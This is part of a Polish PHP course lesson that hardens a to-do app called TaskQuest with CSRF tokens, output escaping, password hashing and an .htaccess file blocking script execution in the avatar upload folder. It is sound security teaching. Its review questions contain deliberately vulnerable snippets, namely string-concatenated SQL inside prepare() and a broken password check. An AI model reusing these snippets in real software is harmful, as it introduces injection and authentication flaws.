profil.php (pełny plik)

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_avatara.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

$bledy = [];
$bladZapisu = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $plik = $_FILES['avatar'] ?? null;

    if ($plik === null) {
        $bledy[] = 'Plik jest za duży albo nie został wysłany.';
    } elseif (!sprawdzTokenCsrf()) {
        $bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujAvatar($plik);
    }

    if ($bledy === []) {
        $nazwaPlikuAvatara = 'avatar_' . $_SESSION['uzytkownik_id'] . '_' . time() . '.' . rozszerzenieAvatara($plik['name']);
        $sciezkaAvatara = __DIR__ . '/' . KATALOG_AVATAROW . '/' . $nazwaPlikuAvatara;

        if (!move_uploaded_file($plik['tmp_name'], $sciezkaAvatara)) {
            $bladZapisu = 'Nie udało się zapisać pliku na serwerze.';
        } else {
            try {
                $polaczenie = polaczZBaza();
                zapiszAvatarUzytkownika($polaczenie, $_SESSION['uzytkownik_id'], $nazwaPlikuAvatara);

                ustawKomunikat('Avatar został zmieniony.');
                header('Location: index.php');
                exit;
            } catch (Exception $wyjatek) {
                $bladZapisu = $wyjatek->getMessage();
            }
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Profil — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>

<h2>Twój profil</h2>
<p><a href="index.php">← Wróć do listy zadań</a></p>

<?php if ($bledy !== []) { ?>
    <div class="blad">
        <p>Popraw formularz:</p>
        <ul>
            <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
            <?php } ?>
        </ul>
    </div>
<?php } ?>

<?php if ($bladZapisu !== null) { ?>
    <p class="blad">Nie udało się zapisać avatara: <?= htmlspecialchars($bladZapisu); ?></p>
<?php } ?>

<form method="post" action="profil.php" enctype="multipart/form-data">
    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">

    <label for="avatar">Avatar (JPG, PNG lub WEBP, najwyżej 1 MB)</label>
    <input type="file" id="avatar" name="avatar" accept=".jpg,.jpeg,.png,.webp" required>

    <button type="submit">Zapisz avatar</button>
</form>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

dodaj-zadanie.php — zmiany

  1. znajdź linię zaczynającą się od:
$bledy = walidujNoweZadanie(

(Ctrl+F → walidujNoweZadanie). Jest w bloku if ($_SERVER['REQUEST_METHOD'] === 'POST') {, zaraz pod liniami, które odczytują pola formularza.

Zamień ją na:

    if (!sprawdzTokenCsrf()) {
        $bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujNoweZadanie($tytulZadania, $opisZadania, $terminZadania, $xpZadania);
    }
  1. Tuż przed $nazwaStrony = ...: $tokenCsrf = pobierzTokenCsrf();.
  2. Ramka awarii: <?= htmlspecialchars($bladZapisu); ?> – sprawdź czy jest htmlspecialchars().
  3. W formularzu, zaraz po <form ...>, ukryte pole tokenu. Pola (etykiety bez zmian):
    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">

    <input type="text" id="tytul" name="tytul" maxlength="100" value="<?= htmlspecialchars($tytulZadania); ?>" required>
    <textarea id="opis" name="opis" rows="3" maxlength="300"><?= htmlspecialchars($opisZadania); ?></textarea>
    <input type="date" id="termin" name="termin" value="<?= htmlspecialchars($terminZadania); ?>" required>
    <input type="number" id="xp" name="xp" min="1" max="100" value="<?= htmlspecialchars($xpZadania); ?>" required>

oznacz-wykonane.php i usun-zadanie.php — zmiany

  1. Bezpośrednio pod blokiem „tylko POST”, przed odczytem $zadanieIdTekst:
if (!sprawdzTokenCsrf()) {
    ustawKomunikat('Nie udało się wykonać akcji. Spróbuj jeszcze raz.');
    header('Location: index.php');
    exit;
}
  1. W ramce awarii komunikat wyjątku przez htmlspecialchars($wyjatek->getMessage()).

index.php — zmiany

  1. Pod blokiem komunikatu jednorazowego:
// --- token CSRF do formularzy na stronie ---
$tokenCsrf = pobierzTokenCsrf();
  1. Avatar nad powitaniem:
<?php if ($uzytkownik->pobierzAvatar() !== null) { ?>
    <img class="avatar" src="<?= htmlspecialchars(KATALOG_AVATAROW . '/' . $uzytkownik->pobierzAvatar()); ?>" alt="Avatar gracza">
<?php } else { ?>
    <span class="avatar avatar-litera"><?= htmlspecialchars(mb_substr($uzytkownik->pobierzImie(), 0, 1)); ?></span>
<?php } ?>
  1. htmlspecialchars() w pozostałych miejscach z tabeli w sekcji 4.3: $bladBazy, imię w powitaniu, login w „Zalogowano jako”, tytuł najpilniejszego zadania, w pętli listy tytuł ($tytulCzysty), skrócony opis i termin, login w rankingu.
  2. Ukryte pole tokenu w trzech formularzach. Przykład „Zrobione!”:
<form class="akcja" method="post" action="oznacz-wykonane.php">
    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">
    <input type="hidden" name="id" value="<?= $zadanie->pobierzId(); ?>">
    <button type="submit">Zrobione!</button>
</form>

„Usuń” analogicznie. W formularzu „Wyloguj” ukryte pole przed przyciskiem.

diagnostyka.php

W $wymaganePliki dopisane 'rejestracja.php' i 'uploads/avatary/.htaccess' (razem 23 ścieżki). Reszta bez zmian.

includes/footer.php

        <p>TaskQuest 2.2</p>
    </div>
</body>
</html>

12. Co zmieniliśmy w TaskQuest?

Zostaje

wszystko z Lekcji 21: zadania w bazie, dodawanie, „Zrobione!” z XP i streakiem, usuwanie, ranking,
filtr widoku z cookie, komunikaty jednorazowe, avatar z walidacją pliku
sesja z samym uzytkownik_id, session_regenerate_id(true) przy logowaniu, wylogowanie tylko POST
wszystkie zapytania przez prepared statements (bez zmian — audyt w sekcji 3.3)
klasy Zadanie i Uzytkownik bez zmian (Uzytkownik nie zna hasha)
znajdzIdUzytkownika() — teraz używana przy rejestracji

Dochodzi

baza: haslo_hash NOT NULL, hashe kont testowych (KamaQuest26, OlaQuest26)
includes/funkcje_sesji.php:
    pobierzTokenCsrf(): string
    sprawdzTokenCsrf(): bool
includes/funkcje_tekstowe.php:
    walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array
includes/funkcje_bazy.php:
    pobierzDaneLogowania(mysqli, string $login): ?array
    dodajUzytkownika(mysqli, string $login, string $imieUzytkownika, string $hasloHash): int
rejestracja.php — zakładanie konta i automatyczne zalogowanie
uploads/avatary/.htaccess — bez wykonywania PHP i bez listy plików
klucz sesji 'token_csrf', ukryte pole token_csrf w 7 rodzajach formularzy, zmienna $tokenCsrf na stronach z formularzami
htmlspecialchars() przy wyświetlaniu tekstu spoza kodu

Nowe mechanizmy PHP: htmlspecialchars(), random_bytes(), bin2hex(), hash_equals(), password_hash() z PASSWORD_DEFAULT, password_verify(), <input type="password">; w brudnopisie $polaczenie->query() (tylko do pokazania ataku), md5() (tylko do porównania), microtime(). Poza PHP: plik .htaccess (Options -Indexes, FilesMatch, Require all denied).

Zmieniamy

  • walidujDaneLogowania(): nowy parametr $haslo, reguła „Podaj hasło.”,
  • zaloguj.php: pole hasła, password_verify(), wspólny komunikat, token, link do rejestracji,
  • wyloguj.php, oznacz-wykonane.php, usun-zadanie.php, dodaj-zadanie.php, profil.php: sprawdzenie tokenu,
  • index.php, dodaj-zadanie.php, profil.php, strony akcji: escapowanie,
  • diagnostyka.php: 23 ścieżki, stopka: 2.2.

Usuwamy

  • komunikat „Nie ma użytkownika o takim loginie.” — zdradzał, które loginy istnieją,
  • zdanie „Wersja demonstracyjna…” w zaloguj.php — logowanie nie jest już demonstracyjne,
  • zmienną $uzytkownikId w zaloguj.php — zastępuje ją $daneLogowania (w rejestracja.php $uzytkownikId jest nowym id),
  • konta bez hasła (haslo_hash = NULL).

Co nowego potrafi TaskQuest po tej lekcji?

Po Lekcji 22 TaskQuest ma prawdziwe konta: gracz zakłada je sam, a logowanie wymaga hasła, które w bazie jest zapisane wyłącznie jako hash. Tekst wpisany przez graczy zawsze wyświetla się jako tekst, więc nie da się nim wstrzyknąć skryptu. Formularze wysłane z obcych stron są odrzucane, a w katalogu avatarów serwer nie wykona żadnego skryptu.

13. Zadania końcowe — rozbuduj TaskQuest samodzielnie

Nie są częścią wersji referencyjnej.

A. Zmiana hasła. Na profil.php (albo na nowej stronie zmien-haslo.php) formularz: obecne hasło, nowe hasło, powtórzone nowe hasło. Obecne hasło sprawdzasz password_verify(). Skąd weźmiesz hash, skoro w sesji masz tylko id (nowa funkcja bazy)? Reguły nowego hasła są takie same jak w walidujDaneRejestracji(). Jak ich nie powielić? Nowy hash zapisujesz UPDATEem. Dlaczego warto po zmianie hasła wywołać session_regenerate_id(true)? Jeśli formularz trafi na profil.php, jak strona odróżni go od formularza avatara?

B. Ciasteczko sesji niedostępne dla JavaScriptu. Przed każdym session_start() (8 plików) dodaj session_set_cookie_params(['httponly' => true, 'samesite' => 'Lax']);. Sprawdzenie: w konsoli przeglądarki (F12 → Konsola) polecenie document.cookie przed zmianą pokazuje PHPSESSID, a po zmianie już nie. Odpowiedz: czy HttpOnly zastępuje htmlspecialchars()? Czy SameSite=Lax zastępuje token CSRF? (Wskazówka: sekcja 5.1.) Czy 8 kopii tej samej linii to dobre rozwiązanie? Zaproponuj lepsze.

C. Blokada po nieudanych próbach. Dodaj do uzytkownicy kolumny nieudane_logowania INT UNSIGNED NOT NULL DEFAULT 0 i blokada_do DATETIME NULL. Po 5 nieudanych próbach dla danego loginu logowanie na to konto jest zablokowane na 5 minut, a po udanym logowaniu licznik wraca do 0. Dlaczego licznik nie może być w sesji albo w ciasteczku? Jak atakujący może użyć tej blokady przeciwko innemu graczowi? Czy komunikat o blokadzie zdradza, że login istnieje?

D. Nagłówki bezpieczeństwa. Na samej górze includes/header.php, przed HTML, wyślij header('X-Frame-Options: DENY'); i header('X-Content-Type-Options: nosniff');. Sprawdź nagłówki w narzędziach przeglądarki (Sieć → wybierz żądanie → Nagłówki odpowiedzi). Utwórz na pulpicie plik ramka.html z <iframe src="http://localhost/taskquest/zaloguj.php"> i porównaj efekt przed zmianą i po niej. Opisz jednym zdaniem, przed jakim atakiem chroni pierwszy nagłówek.

Sprzątanie

  1. Usuń brudnopis.php, brudnopis2.php i (jeśli został) uploads/avatary/test.php. Pliki atak.html, atak2.html i ramka.html z pulpitu też usuń.
  2. Sprawdź, że przywrócone są: kolejność htmlspecialchars(skrocOpis(...)) (Eksperyment 1), brak htmlspecialchars() przed dodajZadanie() (Eksperyment 2), sprawdzanie tokenu w usun-zadanie.php (Eksperyment 3), nazwa .htaccess (Test 8).
  3. Uruchom ponownie sql/taskquest.sql i opróżnij uploads/avatary/ z plików avatar_... (.htaccess zostaje).
  4. Zaloguj się jako Kama_2026 / KamaQuest26. diagnostyka.php — wszystko [OK].

Do samodzielnego sprawdzenia

[ ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
[ ] Potrafię pokazać atak SQL injection na sklejonym zapytaniu i wyjaśnić, dlaczego prepared statement go blokuje.
[ ] Potrafię sprawdzić projekt pod kątem sklejanych zapytań.
[ ] Wiem, co robi htmlspecialchars() i które wartości w TaskQuest muszą przez nią przejść.
[ ] Wiem, dlaczego escapuję przy wyświetlaniu, a nie przed zapisem do bazy, i dlaczego na samym końcu.
[ ] Potrafię wyjaśnić, jak obca strona wysyła formularz w imieniu zalogowanego gracza.
[ ] Wiem, skąd bierze się token CSRF, gdzie jest przechowywany i dlaczego obca strona go nie zna.
[ ] Wiem, dlaczego do haseł nie używa się md5() i dlaczego dwa hashe tego samego hasła są różne.
[ ] Potrafię zapisać hasło przez password_hash() i sprawdzić je przez password_verify().
[ ] Wiem, dlaczego logowanie ma jeden wspólny komunikat błędu.
[ ] Wiem, co robi .htaccess w katalogu avatarów.
[ ] Usunęłam/usunąłem brudnopisy i pliki ataków.

Pytania kontrolne

  1. Kolega pisze: $zapytanie = $polaczenie->prepare("SELECT id FROM zadania WHERE tytul = '$tytul'");. „Używam prepare(), więc jestem bezpieczny”. Czy ma rację? Co trzeba poprawić?
  2. Co dokładnie wyśle PHP do przeglądarki po <?= htmlspecialchars('<a href="x">Klik</a> & więcej'); ?> i co zobaczy gracz?
  3. Termin zadania pochodzi z bazy, a formalnie nie wymaga escapowania. Dlaczego? Czy tak samo byłoby, gdyby kolumna termin była typu VARCHAR(20)?
  4. Koleżanka escapuje tytuł przed zapisem do bazy i przy wyświetlaniu. Co zobaczy gracz, który doda zadanie Tom & Jerry? Co będzie w bazie?
  5. Obca strona nie zna tokenu CSRF. A gdyby w TaskQuest była luka XSS, np. niezabezpieczony tytuł zadania? Czy token nadal by chronił? Uzasadnij.
  6. W sprawdzTokenCsrf() ktoś usunął warunek !isset($_SESSION['token_csrf']). Co zobaczy gracz, któremu wygasła sesja, gdy wyśle formularz logowania? Dlaczego lepiej, żeby funkcja zwróciła wtedy false?
  7. Baza TaskQuest wyciekła. Kama i Ola mają to samo hasło. Czy atakujący zauważy to, patrząc na kolumnę haslo_hash? A gdyby TaskQuest zapisywał md5($haslo)?
  8. Znajdź co najmniej trzy błędy:

    $haslo = trim($_POST['haslo'] ?? '');
    $dane = pobierzDaneLogowania($polaczenie, $login);
    if ($dane['haslo_hash'] === password_hash($haslo, PASSWORD_DEFAULT)) {
    $_SESSION['uzytkownik_id'] = $dane['id'];
    }
  9. Rejestracja pokazuje „Ten login jest już zajęty.”, więc i tak da się sprawdzić, czy login istnieje. Czy wspólny komunikat przy logowaniu ma w takim razie sens? Co jeszcze można zrobić, żeby utrudnić sprawdzanie loginów?
  10. Gracz wgrywa prawdziwy obrazek PNG z doklejonym na końcu kodem PHP. TaskQuest zapisuje go jako avatar_3_1790000000.png. Czy ten kod się wykona bez .htaccess? A z .htaccess? Po co więc ten plik?